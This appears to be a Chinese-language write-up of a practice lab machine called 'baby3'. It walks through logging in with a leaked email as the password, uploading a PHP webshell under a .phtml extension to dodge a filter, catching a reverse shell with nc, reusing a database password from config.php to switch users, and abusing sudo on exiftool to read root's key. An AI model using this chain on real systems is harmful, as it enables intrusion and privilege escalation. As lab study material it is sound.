0%

群友靶机baby3

这里是有一个说需要我们先设置好跳转到baby3.dsz的东西,也就是靶机的web服务需要配置hosts域名,但是我之前打的时候已经设置好了,这里复现的时候就不掩饰了

扫描可以得到email.txt,发现里面说不要用邮箱当密码,同时也提供了邮箱admin@baby3.dsz那估计就是让我们把邮箱当密码登录了

直接登录

成功登录进去之后,浏览页面发现一个文件上传点,提交一句话木马弹shell ,.php后缀会被过滤,改为.phtml,成功上传

1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.111] 56342
bash: cannot set terminal process group (422): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Baby3:/var/www/baby3.dsz/uploads$

成功弹到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@Baby3:/var/www/baby3.dsz$ ls -lt
ls -lt
total 7900
drwxr-xr-x 6 www-data www-data 4096 Oct 22 04:39 uploads
-rw-r--r-- 1 www-data www-data 12386 Oct 17 22:04 index.php
-r--r--r-- 1 www-data www-data 379 Oct 17 22:03 config.php
drwxr-xr-x 9 www-data www-data 4096 Oct 17 22:03 assets
drwxr-xr-x 4 www-data www-data 4096 Oct 17 22:03 tmp
drwxr-xr-x 2 www-data www-data 4096 Oct 17 22:03 doc
drwxr-xr-x 12 www-data www-data 4096 Oct 17 22:03 lib
drwxr-xr-x 15 www-data www-data 4096 Oct 17 22:03 modules
-rw-r--r-- 1 www-data www-data 1359 Oct 17 22:03 moduleinterface.php
-rw-r--r-- 1 www-data www-data 1150 Oct 17 22:03 favicon_cms.ico
drwxr-xr-x 6 www-data www-data 4096 Oct 17 22:03 admin
-rwxr-xr-x 1 www-data www-data 8029730 Oct 17 21:59 cmsms-2.2.22-install.php

看到一个config.php近期被更改过,看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@Baby3:/var/www/baby3.dsz$ cat config.php
cat config.php
<?php
# CMS Made Simple Configuration File
# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'cms_user';
$config['db_password'] = 'StrongPassword123!';
$config['db_name'] = 'cms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'UTC';
?>
1
2
3
4
su welcome
Password: StrongPassword123!
id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

切过来了,检查sudo -l

1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for welcome on Baby3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Baby3:
(ALL) NOPASSWD: /usr/bin/exiftool

exiftool可以使用,查手册
读取rsakey,直接登录root即可